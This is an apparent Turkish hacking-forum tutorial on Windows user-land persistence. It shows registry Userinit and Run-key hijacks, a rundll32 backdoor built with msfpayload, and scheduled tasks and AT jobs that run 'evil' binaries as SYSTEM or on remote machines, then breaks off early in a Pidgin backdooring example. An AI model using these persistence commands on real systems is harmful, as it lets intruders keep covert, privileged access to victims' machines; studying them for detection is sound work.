Windows Hacking Serisi #3 | Windows Kullanıcı Alanı Devamlılığının Temelleri

Dolyetyus

Özel Üye
21 Nis 2020
1,207
676
Delft
Windows Kullanıcı Alanı Devamlılığının Temelleri

Bu konu, Windows makinelerine kalıcı erişim sağlamak için kullanılabilecek birkaç tekniği kapsayacaktır. Genellikle bu konudakiler bir pentest sırasında (kırmızı takım amaçları hariç) devreye girmez, çünkü projeye eklenmesinin bir faydası yoktur. Yine de bu, hem savunma hem de hücum açısından ilginç bir konu olmadığı anlamına gelmez.

Başlığın da belirttiği gibi, sadece kullanıcı alanını kapsayacağız. Gelişmiş kalıcılık mekanizmalarının bunun çok ötesine geçtiği, çekirdek kök setlerinin (özel NDIS protokol sürücüleri gibi) ve hatta bant dışına çıkmanın (Sistem Yönetimi Modu, Rogue Hypervisors) olduğu unutulmamalıdır.



Windows Kayıt Defteri İle Çalıştırıldığında

Windows kayıt defterini kurcalamak, bir Windows makinesine kalıcı erişim sağlamanın muhtemelen en yaygın ve şeffaf yoludur. Kayıt defterini kullanarak toplu dosyaları yürütülebilir ve hatta DLL'lerde dışa aktarılan fonksiyonları çalıştırabiliriz. Başlamadan önce "HKEY_LOCAL_MACHINE" (HKLM) ve "HKEY_CURRENT_USER" (HKCU) arasındaki farkı açıklamak istiyorum. HKLM anahtarları, sistem her başlatıldığında çalıştırılır (gerektiğinde), HKCU anahtarları ise yalnızca belirli bir kullanıcı sistemde oturum açtığında çalıştırılır.

Bağlantılar:

Microsoft DOS reg command - buradan
Userinit - buradan
Run and RunOnce Registry Keys - buradan
RUNDLL and RUNDLL32 - buradan



Kod:
[COLOR="Plum"]# The usual suspects.
	
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon][/COLOR]



Winlogon'u Yıkmak:

Microsoft TechNet açıklamasına göre; Userinit kayıt defteri anahtarı, bir kullanıcı sistemde oturum açtığında hangi programların Winlogon tarafından çalıştırılacağını tanımlar. Genellikle Winlogon, sırasıyla oturum açma komut dosyalarını çalıştıran, ağ bağlantılarını yeniden kuran ve ardından gezgini başlatan Userinit.exe'yi çalıştırır.

Aşağıda Winlogon kayıt defteri anahtarının "varsayılan" içeriğini görebiliriz.


Kod:
[COLOR="Plum"]# Windows 7 machine.
	
C:\Windows\system32> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
    ReportBootOk    REG_SZ    1
    Shell    REG_SZ    explorer.exe
    PreCreateKnownFolders    REG_SZ    {A520A1A4-1780-4FF6-BD18-167343C5AF16}
    Userinit    REG_SZ    C:\Windows\system32\userinit.exe
    VMApplet    REG_SZ    SystemPropertiesPerformance.exe /pagefile
    AutoRestartShell    REG_DWORD    0x1
    Background    REG_SZ    0 0 0
    CachedLogonsCount    REG_SZ    10
    DebugServerCommand    REG_SZ    no
    ForceUnlockLogon    REG_DWORD    0x0
    LegalNoticeCaption    REG_SZ
    LegalNoticeText    REG_SZ
    PasswordExpiryWarning    REG_DWORD    0x5
    PowerdownAfterShutdown    REG_SZ    0
    ShutdownWithoutLogon    REG_SZ    0
    WinStationsDisabled    REG_SZ    0
    DisableCAD    REG_DWORD    0x1
    scremoveoption    REG_SZ    0
    ShutdownFlags    REG_DWORD    0x5
    AutoAdminLogon    REG_SZ    0
    DefaultUserName    REG_SZ    Fubar

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogonChecked[/COLOR]


"Userinit" kayıt defteri anahtarını değiştirmek için (neredeyse) geçerli bir neden yoktur. Bu nedenle burada varsayılan olmayan bir değerle karşılaşırsanız alarm zillerinin çaldığını duymanız gerekir. Görünüşe göre anahtarı değiştirebilir ve çalıştırılabilir userinit.exe dosyasını kendi kötü amaçlı binary/script'imizin başına ekleyebiliriz.

Kod:
[COLOR="Plum"]C:\Windows\system32> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit
/t REG_SZ /d "C:\Some\Evil\Binary.exe","C:\Windows\system32\userinit.exe"

Value Userinit exists, overwrite(Yes/No)? Yes
The operation completed successfully.

C:\Windows\system32> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
    ReportBootOk    REG_SZ    1
    Shell    REG_SZ    explorer.exe
    PreCreateKnownFolders    REG_SZ    {A520A1A4-1780-4FF6-BD18-167343C5AF16}
    Userinit    REG_SZ    C:\Some\Evil\Binary.exe,C:\Windows\system32\userinit.exe
    VMApplet    REG_SZ    SystemPropertiesPerformance.exe /pagefile
    AutoRestartShell    REG_DWORD    0x1
    Background    REG_SZ    0 0 0
    CachedLogonsCount    REG_SZ    10
    DebugServerCommand    REG_SZ    no
    ForceUnlockLogon    REG_DWORD    0x0
    LegalNoticeCaption    REG_SZ
    LegalNoticeText    REG_SZ
    PasswordExpiryWarning    REG_DWORD    0x5
    PowerdownAfterShutdown    REG_SZ    0
    ShutdownWithoutLogon    REG_SZ    0
    WinStationsDisabled    REG_SZ    0
    DisableCAD    REG_DWORD    0x1
    scremoveoption    REG_SZ    0
    ShutdownFlags    REG_DWORD    0x5
    AutoAdminLogon    REG_SZ    0
    DefaultUserName    REG_SZ    Fubar

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogonChecked[/COLOR]


Yukarıda gösterilen değişiklikle, herhangi bir kullanıcı girişi kötü "Binary.exe"nin yürütülmesini tetikleyecektir. Bu kesinlikle oldukça rahatsız edici. Gizli amaçlar için, userinit çalıştırılabilir arka kapı koymak, yeniden adlandırmak ve orijinal yürütülebilir dosyayı çağıran bir epilog'a sahip farklı bir binary (aynı adı taşıyan) yüklemek çok daha iyi olacaktır.



Run ve RunOnce:

Diğer seçeneğimiz ise, HKLM/HKCU Run/RunOnce kayıt defteri anahtarlarını kötüye kullanmaktır. Run ve RunOnce farklı amaçlara hizmet eder, adından da anlaşılacağı gibi RunOnce, etkilenen kullanıcı oturum açtıktan sonra yalnızca bir kez çalıştırılırken Run, oturum açma işlemlerinde kalıcıdır. Bu kayıt defteri anahtarlarıyla ilgili dikkat edilmesi gereken bazı ilginç gariplikler var.
(1) RunOnce anahtarı, çalıştırılmasa bile, oturum açıldığında silinir, bunu önlemek için değerin önüne bir ünlem işareti (!) Eklemelisiniz. Bunu yapmak, bir sonraki oturum açma işleminde anahtarı yeniden çalıştırmayı deneyecektir. (2) Güvenli modda önyükleme yapılırken hem Run hem de RunOnce tuşları çalıştırılmaz, yürütülmelerini zorlamak için anahtar değerinin önüne yıldız işareti (*) koyabilirsiniz.

Çeşitli Run komutlarını kolayca sorgulayabiliriz.


Kod:
[COLOR="Plum"]C:\Windows\system32> reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run"

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
    VMware User Process    REG_SZ    "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr

C:\Windows\system32> reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
C:\Windows\system32> reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce"
C:\Windows\system32> reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce"[/COLOR]


Bu kayıt defteri anahtarlarının oldukça basit bir yapısı vardır. Örneğin, yukarıdaki çıktıdan, herhangi bir kullanıcı oturumunun açılması için VMWare Tools hizmetini tetikleyeceğini görebiliriz. Benzer şekilde, kendi kötü amaçlı kayıt defteri anahtarımızı eklemek çok kolaydır.

Kod:
[COLOR="plum"]C:\Windows\system32> reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v EvilKey
/t REG_SZ /d "C:\Some\Evil\Binary.exe"
	
The operation completed successfully.

C:\Windows\system32> reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
    VMware User Process    REG_SZ    "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr
    EvilKey    REG_SZ    C:\Some\Evil\Binary.exe[/COLOR]



RUNDLL ve RUNDLL32:

Rundll'den ayrıca bahsetmek istedim. Rundll çok uzun zamandır piyasada ve DLL dosyalarında depolu paylaşılan koda doğrudan erişmek için kullanılıyor. Normal bir kullanıcı olarak DLL'lerle bu şekilde etkileşim kurmak için hiçbir sebep olmamalıdır, belki de toplu komut dosyası oluşturmak hariç.

Rundll bizim için yararlıdır çünkü kalıcılığa fazladan bir soyutlama katmanı ekler. Yasal bir dll içindeki bir fonksiyonu ele geçirmek ve yürütme akışını kabuk kodumuza yeniden yönlendirmek, kötü amaçlı bir yürütülebilir dosya veya toplu iş dosyasını başlatmaktan çok daha zor olacaktır.

Gösterme amacıyla msfpayload kullanarak bir messagebox dll oluşturabiliriz.


Kod:
[COLOR="Plum"]root@Josjikawa:~# msfpayload windows/messagebox text='Rundll32 Backdoor' D > /root/Desktop/evil.dll
	
Created by msfpayload (http://www.****sploit.com).
Payload: windows/messagebox
 Length: 270
Options: {"TEXT"=>"Rundll32 Backdoor"}[/COLOR]


dLLMain12) fonksiyon adını bir parametre olarak rundll'ye geçirerek payloadımızı çalıştırabiliriz.

Kod:
[COLOR="Plum"]C:\Windows\system32> reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v
EvilRundll /t REG_SZ /d "C:\Windows\system32\rundll32.exe C:\Users\Fubar\Desktop\evil.dll,  [USER=42473]dLL[/USER]Main12"
	
The operation completed successfully.

C:\Windows\system32> reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
    VMware User Process    REG_SZ    "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr
    EvilRundll    REG_SZ    C:\Windows\system32\rundll32.exe C:\Users\Fubar\Desktop\evil.dll,  [USER=42473]dLL[/USER]Main12[/COLOR]



Kabuğu Aldın Mı?

Aşağıda, bu üç kayıt defteri kalıcılık tekniğinin uygulamalı bir ekran görüntüsünü görebilirsiniz.

Pers1_big.png



Üç arka kapı da, explorer başlatıldıktan hemen sonra çalıştırılır. Bu durumda, Winlogon ve Run anahtarları masaüstünde bulunan toplu komut dosyalarını çalıştırır.

Kod:
[COLOR="Plum"]@echo off*************************************************************************************************************** 
for /f %%i in ('time /T') do set _time=%%i
echo Backdoor started at %_time%
systeminfo | find /i "Boot Time"
echo.
pause[/COLOR]



Planlanmış Arka Kapılar

Daha sonra, Windows'ta mevcut görev planlama seçeneklerine bir göz atacağız. Planlama yapmak faydalıdır, farklı izin setlerine sahip görevleri çalıştırabilir ve olayları kullanarak veya belirli zaman aralıklarında görevi tetikleyebiliriz. Bakalım arka kapımız için randevu alamayacak mıyız!

Bağlantılar:
Schtasks [Microsoft Technet] - buradan
Wevtutil [Microsoft Technet] - buradan
Eventcreate [Microsoft Technet] - buradan
Event-O-Pedia (FTW) - buradan
Security events in Windows 7 and Server 2k8 [Microsoft Support] - buradan
AT [Microsoft Technet] - buradan




Schtasks:

Hiç schtask kullanmadıysanız, sahip olduğu kapsamlı özelliklere ve esnekliğe hayran kalacaksınız. Size kolaylık sağlamak için aşağıdaki görev oluşturma seçeneklerini görebilirsiniz (tüm seçenekler için "schtasks/?" komutunu kullanın).

Kod:
[COLOR="Plum"]C:\Windows\system32> schtasks /Create /?
	
SCHTASKS /Create [/S system [/U username [/P [password]]]]
    [/RU username [/RP password]] /SC schedule [/MO modifier] [/D day]
    [/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime]
    [/RI interval] [ {/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]]
    [/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F]

Description:
    Enables an administrator to create scheduled tasks on a local or
    remote system.

Parameter List:
    /S   system        Specifies the remote system to connect to. If omitted
                       the system parameter defaults to the local system.

    /U   username      Specifies the user context under which SchTasks.exe
                       should execute.

    /P   [password]    Specifies the password for the given user context.
                       Prompts for input if omitted.

    /RU  username      Specifies the "run as" user account (user context)
                       under which the task runs. For the system account,
                       valid values are "", "NT AUTHORITY\SYSTEM"
                       or "SYSTEM".
                       For v2 tasks, "NT AUTHORITY\LOCALSERVICE" and
                       "NT AUTHORITY\NETWORKSERVICE" are also available as well
                       as the well known SIDs for all three.

    /RP  [password]    Specifies the password for the "run as" user.
                       To prompt for the password, the value must be either
                       "*" or none. This password is ignored for the
                       system account. Must be combined with either /RU or
                       /XML switch.

    /SC   schedule     Specifies the schedule frequency.
                       Valid schedule types: MINUTE, HOURLY, DAILY, WEEKLY,
                       MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT.

    /MO   modifier     Refines the schedule type to allow finer control over
                       schedule recurrence. Valid values are listed in the
                       "Modifiers" section below.

    /D    days         Specifies the day of the week to run the task. Valid
                       values: MON, TUE, WED, THU, FRI, SAT, SUN and for
                       MONTHLY schedules 1 - 31 (days of the month).
                       Wildcard "*" specifies all days.

    /M    months       Specifies month(s) of the year. Defaults to the first
                       day of the month. Valid values: JAN, FEB, MAR, APR,
                       MAY, JUN, JUL, AUG, SEP, OCT, NOV, DEC. Wildcard "*"
                       specifies all months.

    /I    idletime     Specifies the amount of idle time to wait before
                       running a scheduled ONIDLE task.
                       Valid range: 1 - 999 minutes.

    /TN   taskname     Specifies a name which uniquely
                       identifies this scheduled task.

    /TR   taskrun      Specifies the path and file name of the program to be
                       run at the scheduled time.
                       Example: C:\windows\system32\calc.exe

    /ST   starttime    Specifies the start time to run the task. The time
                       format is HH:mm (24 hour time) for example, 14:30 for
                       2:30 PM. Defaults to current time if /ST is not
                       specified.  This option is required with /SC ONCE.

    /RI   interval     Specifies the repetition interval in minutes. This is
                       not applicable for schedule types: MINUTE, HOURLY,
                       ONSTART, ONLOGON, ONIDLE, ONEVENT.
                       Valid range: 1 - 599940 minutes.
                       If either /ET or /DU is specified, then it defaults to
                       10 minutes.

    /ET   endtime      Specifies the end time to run the task. The time format
                       is HH:mm (24 hour time) for example, 14:50 for 2:50 PM.
                       This is not applicable for schedule types: ONSTART,
                       ONLOGON, ONIDLE, ONEVENT.

    /DU   duration     Specifies the duration to run the task. The time
                       format is HH:mm. This is not applicable with /ET and
                       for schedule types: ONSTART, ONLOGON, ONIDLE, ONEVENT.
                       For /V1 tasks, if /RI is specified, duration defaults
                       to 1 hour.

    /K                 Terminates the task at the endtime or duration time.
                       This is not applicable for schedule types: ONSTART,
                       ONLOGON, ONIDLE, ONEVENT. Either /ET or /DU must be
                       specified.

    /SD   startdate    Specifies the first date on which the task runs. The
                       format is mm/dd/yyyy. Defaults to the current
                       date. This is not applicable for schedule types: ONCE,
                       ONSTART, ONLOGON, ONIDLE, ONEVENT.

    /ED   enddate      Specifies the last date when the task should run. The
                       format is mm/dd/yyyy. This is not applicable for
                       schedule types: ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT.

    /EC   ChannelName  Specifies the event channel for OnEvent triggers.

    /IT                Enables the task to run interactively only if the /RU
                       user is currently logged on at the time the job runs.
                       This task runs only if the user is logged in.

    /NP                No password is stored.  The task runs non-interactively
                       as the given user.  Only local resources are available.

    /Z                 Marks the task for deletion after its final run.

    /XML  xmlfile      Creates a task from the task XML specified in a file.
                       Can be combined with /RU and /RP switches, or with /RP
                       alone, when task XML already contains the principal.

    /V1                Creates a task visible to pre-Vista platforms.
                       Not compatible with /XML.

    /F                 Forcefully creates the task and suppresses warnings if
                       the specified task already exists.

    /RL   level        Sets the Run Level for the job. Valid values are
                       LIMITED and HIGHEST. The default is LIMITED.

    /DELAY delaytime   Specifies the wait time to delay the running of the
                       task after the trigger is fired.  The time format is
                       mmmm:ss.  This option is only valid for schedule types
                       ONSTART, ONLOGON, ONEVENT.

    /?                 Displays this help message.

Modifiers: Valid values for the /MO switch per schedule type:
    MINUTE:  1 - 1439 minutes.
    HOURLY:  1 - 23 hours.
    DAILY:   1 - 365 days.
    WEEKLY:  weeks 1 - 52.
    ONCE:    No modifiers.
    ONSTART: No modifiers.
    ONLOGON: No modifiers.
    ONIDLE:  No modifiers.
    MONTHLY: 1 - 12, or FIRST, SECOND, THIRD, FOURTH, LAST, LASTDAY.
    ONEVENT: XPath event query string.[/COLOR]


Kafanızı söz dizimine gömerseniz; görevleri oluşturmak, silmek ve sorgulamak oldukça basittir. Aşağıdaki örneğe bir göz atın. Bu görev, Windows hesap makinesini her dakika, sonsuza kadar geçerli kullanıcı (Fubar) olarak çalıştıracaktır. Çok eğlenceli ve bi o kadar da can sıkıcı!


Kod:
[COLOR="Plum"]C:\Windows\system32> schtasks /create /sc minute /mo 1 /tn "AnnoyingCalc" /tr C:\Windows\system32\calc.exe

SUCCESS: The scheduled task "AnnoyingCalc" has successfully been created.

C:\Windows\system32> schtasks /query /tn AnnoyingCalc /fo List /v

Folder: \
HostName:                             WIN7-TESTBED
TaskName:                             \AnnoyingCalc
Next Run Time:                        10/19/2014 12:36:00 AM
Status:                               Ready
Logon Mode:                           Interactive only
Last Run Time:                        10/19/2014 12:35:00 AM
Last Result:                          1
Author:                               Fubar
Task To Run:                          C:\Windows\system32\calc.exe
Start In:                             N/A
Comment:                              N/A
Scheduled Task State:                 Enabled
Idle Time:                            Disabled
Power Management:                     Stop On Battery Mode, No Start On Batteries
Run As User:                          Win7-Testbed\Fubar
Delete Task If Not Rescheduled:       Enabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule:                             Scheduling data is not available in this format.
Schedule Type:                        One Time Only, Minute
Start Time:                           12:35:00 AM
Start Date:                           10/19/2014
End Date:                             N/A
Days:                                 N/A
Months:                               N/A
Repeat: Every:                        0 Hour(s), 1 Minute(s)
Repeat: Until: Time:                  None
Repeat: Until: Duration:              Disabled
Repeat: Stop If Still Running:        Disabled[/COLOR]


Pers2_big.png



Bir görevi silmek için yalnızca görev adını belirtmeniz gerekir.

Kod:
[COLOR="Plum"]C:\Windows\system32> schtasks /Delete /tn AnnoyingCalc

WARNING: Are you sure you want to remove the task "AnnoyingCalc" (Y/N)? Y
SUCCESS: The scheduled task "AnnoyingCalc" was successfully deleted.[/COLOR]


Bir saldırganın schtasks'ı kötüye kullanma potansiyeli olduğu bellidir. Olasılıklar hakkında bir fikir edinmek için aşağıda birkaç örnek görebilirsiniz.

Kod:
[COLOR="Plum"]# Runs a task daily at 8am.
schtasks /create /tn "EvilTask" /tr C:\Some\Evil\Task.exe /sc daily /st 08:00

# Runs a task each time the user's session is idle for 5 minutes.
schtasks /create /tn "EvilTask" /tr C:\Some\Evil\Task.exe /sc onidle /i 5

# Runs a task, as SYSTEM, each time a user logs in.
schtasks /create /ru "NT AUTHORITY\SYSTEM" /rp "" /tn "EvilTask" /tr C:\Some\Evil\Task.exe /sc onlogon

# Runs a task on a remote machine, as SYSTEM, daily at 8am.
schtasks /create /s RemoteMachine /u domain\user /p password /ru "NT AUTHORITY\SYSTEM" /rp "" /tn
"EvilTask" /tr C:\Some\Evil\Task.exe /sc daily /st 08:00[/COLOR]


Daha ayrıntılı bir yaklaşıma ihtiyacınız varsa, oldukça özel Windows olaylarında görevleri tetikleyebilirsiniz. Bunu yapmak biraz daha fazla emek gerektirir, ancak size görevin yürütülmesi üzerinde benzersiz bir kontrol sağlar. Tek uyarı, hedefin, hedeflemek istediğiniz olay için olay günlüğünü etkinleştirmesi gerektiğidir. Mevcut olay kaydedicilerini sırtlayabilirsiniz, ancak komut satırından özel olayları eklemenin kolay bir yolu yok gibi görünüyor (özel bir olay bildirimini içe aktarmak mümkün olabilir, ancak bunu test etmedim). GUI erişiminiz varsa, özel olaylar gpedit.msc kullanılarak yapılandırılabilir. Daha ayrıntılı bir açıklama burada bulunabilir.

Bunu göstermek için, bir kullanıcı sistemden her çıkış yaptığında (örneğin öğle yemeği molası sırasında) çalışacak bir görev planlayacağız. Wevtutil'i çeşitli sistem olay günlüklerini ve yayıncıları sorgulamak için kullanabiliriz.


Kod:
[COLOR="Plum"]C:\Windows\system32> wevtutil /?

Windows Events Command Line Utility.

Enables you to retrieve information about event logs and publishers, install
and uninstall event manifests, run queries, and export, archive, and clear logs.

Usage:

You can use either the short (for example, ep /uni) or long (for example,
enum-publishers /unicode) version of the command and option names. Commands,
options and option values are not case-sensitive.

Variables are noted in all upper-case.

wevtutil COMMAND [ARGUMENT [ARGUMENT] ...] [/OPTION:VALUE [/OPTION:VALUE] ...]

Commands:

el | enum-logs          List log names.
gl | get-log            Get log configuration information.
sl | set-log            Modify configuration of a log.
ep | enum-publishers    List event publishers.
gp | get-publisher      Get publisher configuration information.
im | install-manifest   Install event publishers and logs from manifest.
um | uninstall-manifest Uninstall event publishers and logs from manifest.
qe | query-events       Query events from a log or log file.
gli | get-log-info      Get log status information.
epl | export-log        Export a log.
al | archive-log        Archive an exported log.
cl | clear-log          Clear a log.[/COLOR]


Olay kanalına (Güvenlik) ve olay ID'sine(4647) başvurarak en son kaydedilen "Kullanıcı tarafından başlatılan Oturum Kapatma" olayını kontrol edebiliriz. Kanal ve etkinlik ayrıntıları için lütfen etkinlik ansiklopedisine bakın.


Kod:
[COLOR="Plum"]C:\Windows\system32> wevtutil qe Security /f:text /c:1 /q:"Event[System[(EventID=4647)]]

Event[0]:
  Log Name: Security
  Source: Microsoft-Windows-Security-Auditing
  Date: 2014-09-13T21:05:54.339
  Event ID: 4647
  Task: Logoff
  Level: Information
  Opcode: Info
  Keyword: Audit Success
  User: N/A
  User Name: N/A
  Computer: Win7-Testbed
  Description:
User initiated logoff:

Subject:
        Security ID:            S-1-5-21-2436999474-2994553960-2820488997-1001
        Account Name:           Fubar
        Account Domain:         Win7-Testbed
        Logon ID:               0x14afc[/COLOR]


Elimizdeki bu bilgilerle zamanlanmış bir görev oluşturabiliriz. Schtasks'a uygun olay kanalını ve hedef olay için XPath sorgu dizesini sağlamamız gerekecek.


Kod:
[COLOR="Plum"]C:\Windows\system32> schtasks /Create /TN OnLogOff /TR C:\Windows\system32\calc.exe /SC ONEVENT /EC
Security /MO "*[System[(Level=4 or Level=0) and (EventID=4634)]]"

SUCCESS: The scheduled task "OnLogOff" has successfully been created.

C:\Windows\system32> schtasks /Query /tn OnLogOff /fo List /v

Folder: \
HostName:                             WIN7-TESTBED
TaskName:                             \OnLogOff
Next Run Time:                        N/A
Status:                               Ready
Logon Mode:                           Interactive only
Last Run Time:                        N/A
Last Result:                          1
Author:                               Fubar
Task To Run:                          C:\Windows\system32\calc.exe
Start In:                             N/A
Comment:                              N/A
Scheduled Task State:                 Enabled
Idle Time:                            Disabled
Power Management:                     Stop On Battery Mode, No Start On Batteries
Run As User:                          Win7-Testbed\Fubar
Delete Task If Not Rescheduled:       Enabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule:                             Scheduling data is not available in this format.
Schedule Type:                        When an event occurs
Start Time:                           N/A
Start Date:                           N/A
End Date:                             N/A
Days:                                 N/A
Months:                               N/A
Repeat: Every:                        N/A
Repeat: Until: Time:                  N/A
Repeat: Until: Duration:              N/A
Repeat: Stop If Still Running:        N/A[/COLOR]


Oturumu kapatıp tekrar açtıktan sonra Windows hesap makinesi ile karşılanıyoruz.

Pers3_big.png


Pers4_big.png




Windows AT:

Windows AT komutu, schtask'lara kıyasla ikinci sınıf bir vatandaştır. Ayrıca görevleri belirli zamanlarda çalışacak şekilde planlayabilir, ancak neredeyse yapılandırma seçeneği yoktur.


Kod:
[COLOR="Plum"]C:\Windows\system32> at /?

The AT command schedules commands and programs to run on a computer at
a specified time and date. The Schedule service must be running to use
the AT command.

AT [\\computername] [ [id] [/DELETE] | /DELETE [/YES]]
AT [\\computername] time [/INTERACTIVE]
    [ /EVERY:date[,...] | /NEXT:date[,...]] "command"

\\computername     Specifies a remote computer. Commands are scheduled on the
                   local computer if this parameter is omitted.
id                 Is an identification number assigned to a scheduled
                   command.
/delete            Cancels a scheduled command. If id is omitted, all the
                   scheduled commands on the computer are canceled.
/yes               Used with cancel all jobs command when no further
                   confirmation is desired.
time               Specifies the time when command is to run.
/interactive       Allows the job to interact with the desktop of the user
                   who is logged on at the time the job runs.
/every:date[,...]  Runs the command on each specified day(s) of the week or
                   month. If date is omitted, the current day of the month
                   is assumed.
/next:date[,...]   Runs the specified command on the next occurrence of the
                   day (for example, next Thursday).  If date is omitted, the
                   current day of the month is assumed.
"command"          Is the Windows NT command, or batch program to be run.[/COLOR]


Unutulmaması gereken bir nokta ise, AT komutunun her zaman SİSTEM düzeyinde ayrıcalıklarla çalışmasıdır. Aşağıda birkaç kullanım örneği görülebilir.

Kod:
[COLOR="Plum"]# Runs a batch file daily at 8am.
at 08:00 /EVERY:m,t,w,th,f,s,su C:\Some\Evil\batch.bat

# Runs a binary every Tuesday at 8am.
at 08:00 /EVERY:t C:\Some\Evil\Task.exe

# Runs a binary, only once, at 10pm.
at 22:00 /NEXT: C:\Some\Evil\Task.exe

# Runs a task on a remote machine, every 1st and 20th of the month, at 8am.
at \\RemoteMachine 08:00 /EVERY:1,20 C:\Some\Evil\Task.exe[/COLOR]


Zamanlanmış görevler, komut satırından AT komutunu çağırarak listelenebilir. Görevler, görev kimliği kullanılarak silinebilir.

Kod:
[COLOR="Plum"]C:\Windows\system32> at 08:00 /EVERY:t C:\Some\Evil\Task.exe

Added a new job with job ID = 1

C:\Windows\system32> at

Status ID   Day                     Time          Command Line
-------------------------------------------------------------------------------
        1   Each T                  8:00 AM       C:\Some\Evil\Task.exe

# AT does not provide confirmation for task deletion.
C:\Windows\system32> at 1 /delete[/COLOR]



Süreç Kaynağı Yakalama

Bu bölümün başlığı özel olarak kullanılmaktadır. Burada gerçekten bakacağımız şey:
(1) Zaten önyükleme/başlangıçta çalışan normal işlemler veya (2) Önyükleme/başlangıçta çalışacak şekilde yapılandırabileceğimiz işlemler. Uygun bir hedef bulduktan sonra, programın kullandığı tüm kaynaklara bakmamız gerekir. Bu kaynaklardan birine shellcode enjekte edebilirsek, kalıcılığa ulaşmış oluruz.

Zaten bu tekniğin çok daha gizli olduğu belli olmalı. Kalıcılığın kanıtı hemen mevcut olmaz, yasal süreç veya hizmet tarafından gizlenmiştir. Buna ek olarak, kabuk kodu yasal kodla karıştırıldığı için AV tespiti olmayacaktır. Unutulmaması gereken son bir şey, imzalı bir kaynağı değiştirmenin imzayı geçersiz kılacağıdır.




Örnek Olay - Pidgin Instant Messenger:

İlk örneğimiz için, bir PE yürütülebilir dosyanın manuel olarak arka kapı kaplamasına bakacağız. Diyelim ki bir hedeften ödün verdikten sonra, Pidgin'in (popüler bir sohbet programı) başlangıçta çalıştırıldığını keşfediyoruz. Bu durumda, Pidgin'in Windows başlangıç klasöründe olduğu için otomatik olarak açılışta başlayacağını söyleyebiliriz.

Kod:
[COLOR="Plum"]# The starup folder for the current user is empty.
C:\> dir "C:\Users\Fubar\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

 Volume in drive C has no label.
 Volume Serial Number is CA24-B8EA

 Directory of C:\Users\Fubar\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

09/13/2014  08:05 PM    <DIR>          .
09/13/2014  08:05 PM    <DIR>          ..
               0 File(s)              0 bytes
               2 Dir(s)  55,254,183,936 bytes free

# The starup folder for all users contains a shortcut to Pidgin.
C:\> dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"

 Volume in drive C has no label.
 Volume Serial Number is CA24-B8EA

 Directory of C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

11/23/2014  01:09 AM    <DIR>          .
11/23/2014  01:09 AM    <DIR>          ..
11/23/2014  01:09 AM             1,328 pidgin.exe.lnk
               1 File(s)          1,328 bytes
               2 Dir(s)  55,254,183,936 bytes free[/COLOR]


Daha sonra Pidgin binarysinin nerede olduğunu bulmalıyız.

Kod:
[COLOR="Plum"]C:\> dir /s pidgin.exe

 Volume in drive C has no label.
 Volume Serial Number is CA24-B8EA

 Directory of C:\Program Files\Pidgin

11/22/2014  11:00 PM            60,176 pidgin.exe
               1 File(s)         60,176 bytes

     Total Files Listed:
               1 File(s)         60,176 bytes
               0 Dir(s)  55,249,006,592 bytes free
               
C:\> dir "C:\Program Files\Pidgin\"

 Volume in drive C has no label.
 Volume Serial Number is CA24-B8EA

 Directory of C:\Program Files\Pidgin

11/23/2014  02:28 AM    <DIR>          .
11/23/2014  02:28 AM    <DIR>          ..
